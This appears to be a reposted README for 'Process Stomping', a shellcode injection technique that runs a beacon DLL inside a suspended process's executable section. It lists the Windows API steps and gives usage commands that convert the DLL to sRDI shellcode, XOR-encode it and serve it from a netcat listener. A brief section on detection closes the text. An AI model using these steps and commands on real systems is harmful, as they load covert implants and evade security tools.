Process Stomping: Advanced Technique for Executing Shellcode in Targeted Executable Sections

Cybersecurity is a field that is always changing, and new techniques are always being made to improve both offensive and defensive tactics. Process Stomping is an improved version of Process Overwriting that was first used by Aleksandra Doniec (hasherezade) and is now being studied by others in the field.

This method is better than others because it precisely and quickly runs shellcode inside certain parts of an executable. It also takes a more sophisticated approach than other methods.

This piece goes into great detail about Process Stomping, including how it works and what it can be used for, especially when loading a beacon DLL over an executable’s RWX section. People who work in cybersecurity can better handle today’s security problems if they learn and master methods like Process Stomping.

A variation of ProcessOverwriting to execute shellcode on an executable’s section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

1. CreateProcess – setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
2. WriteProcessMemory – used to write each malicious shellcode to the target process section.
3. SetThreadContext – used to point the entrypoint to a new code section that it has written.
4. ResumeThread – self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn’t come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread’s entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.